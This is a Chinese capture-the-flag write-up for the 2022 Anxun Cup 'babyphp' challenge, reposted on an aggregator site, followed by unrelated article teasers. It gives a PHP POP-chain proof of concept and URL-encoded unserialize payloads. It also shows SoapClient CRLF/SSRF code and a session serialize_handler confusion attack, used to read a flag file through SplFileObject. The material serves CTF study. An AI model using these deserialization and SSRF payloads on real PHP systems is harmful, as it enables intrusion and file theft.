2022安洵杯babyphp

news2024/12/23 20:51:40

这个题没打出来有点可惜,感觉做的都差不多了,不过有些地方确实没理解,还是理解不到位

先来看序列化,这个序列化是不难的,不过有一个小坑,我们先理一遍顺序

array(0) { } <?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}
only localhost!!

这里最后肯定要调用C类的uwant函数,可以由A类的__invoke()方法触发,

A类的__invoke()方法由C类的__toString()方法触发,这里有一个小坑,我当时一直以为这个tostring是A类的 $this->a = "babyhacker";触发的,结果一直没跑通,后来看没用到B类,尝试用B的die($this->a);,没想到是可以的

那这样链子就出来了

Poc

<?php
highlight_file(__FILE__);
error_reporting(0);
class A
{
    public $a;
    public $b;

    public function __construct($a,$b)
    {
        $this->a=$a;
        $this->b=$b;
    }

    public function __wakeup()
    {
        $this->a = "babyhacker";
        echo '触发了A类的 __wakeup';
    }

    public function __invoke()
    {echo '触发了A类的 __invoke';
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;
    public function __construct($a,$b,$k)
    {
        $this->a=$a;
        $this->b=$b;
        $this->k=$k;
    }

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __construct($a,$c)
    {
        $this->a=$a;
        $this->c=$c;
    }

    public function __toString()
    {
        echo '触发了C类的 __toString';
        $cc = $this->c;
        return $cc();
        
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

$a=new B(new C('',new A('0e215962017',new C('phpinfo',''))),'','');
echo (serialize($a));

Payload

这里记得绕过wakup

pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

 

接下来就是想 call_user_func(array(reset($_SESSION), $this->a));的利用了

call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法

reset的话会把指针指向$_SESSION数组的第一个键值对

感觉这里是不是在考php原生类读文件呢?

PHP利用原生类进行SSRF攻击

https://blog.csdn.net/weixin_44033675/article/details/116903866

还是先叙述一下这个攻击手法:

SoapClient是php的一个内置类,它本身是存在CRLF和SSRF漏洞的,怎么说呢?这个类可以控制发送请求包,并且headers可控,不仅可控,还可以传入回车+换行(\r\n),那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包,另外,当这个类被调用它没有的方法,会触发它的call,引发SSRF漏洞

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

session反序列化漏洞:

<?php
session_start();
$_SESSION['name'] = '1234567';
?>

session是会被反序列化存储到本地的

session.serialize_handler这个参数控制session反序列化的处理器,不同的处理器序列化的结果不一样

session.serialize_handler=php 时,session文件内容为: name|s:7:"1234567";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"1234567";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"1234567";

而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入

$_SESSION[‘name’] = ‘|username‘

那么使用php_serialize引擎时可以得到序列化内容

a:1:{s:4:”name”;s:4:”|username”;} 

然后用php引擎反序列化时,|被当做分隔符,于是

a:1:{s:4:”name”;s:4:”

被当作key

username被当做vaule进行反序列化

于是,我们只要传入$_SESSION[‘name’] = |序列化内容

即可触发漏洞

SoapClient序列化构造:

<?php
$a = new SoapClient(null,
    array(
        'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",  
        'uri' => 'bbb',
        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
         
    )
);
$b = serialize($a);
echo urlencode($b);
?>

首先通过ini_set更改session的处理器,传入构造的session序列化字符串

if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}

Payload

GET: ?baby=session.serialize_handler&d0g3=php_serialize POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A47%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DGlobIterator%26b%3D%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类

Payload

GET ?D0G3 POST sess=SoapClient

第三次,直接用call_user_func激活soap类,通过flag.php将flag写入session

Payload

pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22aaa%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

实际上那个第二步可能是不需要的,soap类的序列化字符串已经存入session了,直接传入pop激活soap也是可以的

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/43571.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

王道考研——操作系统(第三章 内存管理)

一、内存的基础知识 什么是内存&#xff1f;有何作用&#xff1f; 这么做的原因是&#xff0c;程序本来是放在外存中的&#xff0c;放在磁盘中的&#xff0c;但是磁盘的读写速度很慢&#xff0c;而cpu的处理速度又很快 存储单元就是存放数据的最小单元&#xff0c;每一个地址…

计算机组成原理习题课第一章-3(唐朔飞)

计算机组成原理习题课第一章-3&#xff08;唐朔飞&#xff09; ✨欢迎关注&#x1f5b1;点赞&#x1f380;收藏⭐留言✒ &#x1f52e;本文由京与旧铺原创&#xff0c;csdn首发&#xff01; &#x1f618;系列专栏&#xff1a;java学习 &#x1f4bb;首发时间&#xff1a;&…

Spark学习(6)-Spark SQL

1 快速入门 SparkSQL是Spark的一个模块, 用于处理海量结构化数据。 SparkSQL是非常成熟的 海量结构化数据处理框架. 学习SparkSQL主要在2个点: SparkSQL本身十分优秀, 支持SQL语言\性能强\可以自动优化\API简单\兼容HIVE等等。企业大面积在使用SparkSQL处理业务数据。 离线开…

想把iPad作为扩展屏,确发现macOS monterey随航功能不见了

居家办公最不爽的事情就是没有扩展屏&#xff0c;对于开发来说&#xff0c;效率是有影响的&#xff0c;于是便想着把iPad当作扩展屏来用 系统参数 mac&#xff1a; macOS monterey&#xff08;12.4&#xff09;&#xff1b;M1 iPad&#xff1a; iPad Pro 第2代&#xff0c;应该…

细粒度图像分类论文研读-2016

文章目录Compact Bilinear PoolingAbstractIntroductionCompact bilinear modelsA kernelized view of bilinear poolingCompact bilinear poolingSome properties of compact bilinear poolingCompact Bilinear Pooling Abstract 双线性模型很成功&#xff0c;但是双线性特征…

HNUCM-2022年秋季学期《算法分析与设计》练习14

目录 问题 A: 最小生成树&#xff08;Prim&#xff09; 问题 B: 牛妹的蛋糕 问题 C: 尼科彻斯定理 问题 D: 最小生成树&#xff08;Kruskal&#xff09; 问题 E: 单源最短路径问题 问题 F: 搭建电路 问题 G: 丛林小道 问题 H: 低碳出行 问题 A: 最小生成树&#xff08;P…

frontend webstorm plugin:插件推荐

目录CodeGlance &#xff08;左边地图&#xff09;GitToolBox &#xff08;Git提示&#xff09;Material Theme UI &#xff08;主题框架&#xff09;Nyan Progress Bar &#xff08;进度条&#xff09;Rainbow Brackets&#xff08;括号颜色&#xff0c;注意忽略变量&#xff…

【MySQL】事务和索引

文章目录事务&#xff08;Transaction&#xff09;1. 定义2. 如何操作事务2.1 SQL 语句操作事务的几个关键字2.2 使用 SQL 语句操作事务2.3 JDBC 操作事务3. 事务的四个特性&#xff1a;ACID3.1 Atomic&#xff08;原子性&#xff09;3.1.1 理解原子性3.2 Consistency&#xff…

H3C WX2510H无线控制器开局如何简单配置

环境&#xff1a; H3C-WX2510H version 7.1.064, Release 5435P02 AP H3CWA6320-C 问题描述&#xff1a; H3C WX2510h无线控制器开局如何简单配置 解决方案&#xff1a; 1.PC网卡设置ip192.168.0.111&#xff0c;连接随便一个LAN口 2.浏览器访问https://192.168.0.100…

面试处处碰壁?不慌,Java 核心面试文档.PDF 助你披荆斩棘

前言 首先强调几点&#xff1a; 1. 一定要谨慎对待写在简历上的东西&#xff0c;一定要对简历上的东西非常熟悉。因为一般情况下&#xff0c;面试官都是会根据你的简历来问的&#xff1b; 2. 能有一个上得了台面的项目也非常重要&#xff0c;这很可能是面试官会大量发问的地…

如何采集需要验证码登录的网站数据

如何抓取网页上的数据,需要登录&#xff1f;随着互联网的发展&#xff0c;移动支付技术的普及&#xff0c;以及人们对内容进行消费的观念逐渐养成。有很多网站&#xff0c;需要付费后才能查看&#xff0c;或者是开通会员之类的才能查看。针对这类网站&#xff0c;我们如何快速的…

性能测试环境部署

一、安装JDK 【步骤一】安装JDK (安装Jmeter之前需要配置JAVA环境) 下载jdk&#xff0c;到官网下载jdk&#xff0c;地址&#xff1a; http://www.oracle.com/technetwork/java/javase/downloads/index.html 【JDK版本要和JMeter版本对应&#xff0c;如果JDK版本过高&#x…

深度学习入门(8)激活函数ReLU和 Sigmoid的计算图表示方式及代码实现

《深度学习入门》系列文章目录 深度学习入门 (1)感知机 深度学习入门&#xff08;2&#xff09;神经网络 深度学习入门&#xff08;3&#xff09;神经网络参数梯度的计算方式 深度学习入门&#xff08;4&#xff09;【深度学习实战】无框架实现两层神经网络的搭建与训练过程…

黑盒测试用例设计 - 等价类划分法

说明&#xff1a;在所有测试数据中&#xff0c;具有某种共同特征的数据集合进行划分。 分类&#xff1a; 有效等价类&#xff1a;满足需求的数据集合无效等价类&#xff1a;不满足需求的数据集合 步骤&#xff1a; 明确需求设计一个新的测试用例&#xff0c;使其尽可能多的覆…

如何申请软件著作权

申请软件著作权的好处&#xff1a; 1、软件著作权登记证书是在软件著作权发生争议时&#xff0c;证明软件权利的最有力证。这不仅是在进行诉讼或者是发生一般纠纷时都能起到很好的证明作用&#xff0c;但是如果没有进行登记&#xff0c;著作权人的权利就很难获得全面的保护。 …

Linux-scheduler之负载均衡(一)

一、如何衡量CPU的负载 衡量CPU负载 简单衡量 CPU负载就绪队列的总权重CPU负载 就绪队列的总权重 CPU负载就绪队列的总权重 量化负载 CPU负载(采样期间累计运行时间/采样总时间)∗就绪队列总权重CPU负载 (采样期间累计运行时间/采样总时间)*就绪队列总权重 CPU负载(采样期…

Flutter 创建自己的对话框,不使用任何包!

创建自己的对话框&#xff0c;不使用任何包&#xff01; 原文 https://itnext.io/create-your-own-dialog-without-using-any-packages-7bb303f62471 前言 在本文中&#xff0c;我们将学习如何创建我们自己的 showDialog() 函数&#xff0c;并了解到底发生了什么。 正文 先看效…

Matplotlib 可视化50图:散点图(1)

导读 本系列将持续更新50个matplotlib可视化示例&#xff0c;主要参考Selva Prabhakaran 在MachineLearning Plus上发布的博文&#xff1a;Python可视化50图。 定义 关联图是查看两个事物之间关系的图像&#xff0c;它能够展示出一个事物随着另一个事物是如何变化的。关联图的类…

ctfshow(菜狗杯)

目录 web签到 一言既出 驷马难追 web2 c0me_t0_s1gn 我的眼里只有$ TAPTAPTAP Webshell 化零为整 无一幸免 遍地飘零 传说之下&#xff08;雾&#xff09; Is_Not_Obfuscate web签到 <?phperror_reporting(0); highlight_file(__FILE__);eval($_REQUEST[$_GET[…

springboot大学生课堂考勤管理系统的设计与实现

根据一般学生课堂考勤管理系统的功能需求分析&#xff0c;本系统的功能模块如下&#xff1a; &#xff08;1&#xff09;在个人中心&#xff0c;管理员可以修改自己的用户名和登录密码。 &#xff08;2&#xff09;在学生管理模块中&#xff0c;可以查看学生的信息&#xff0c;…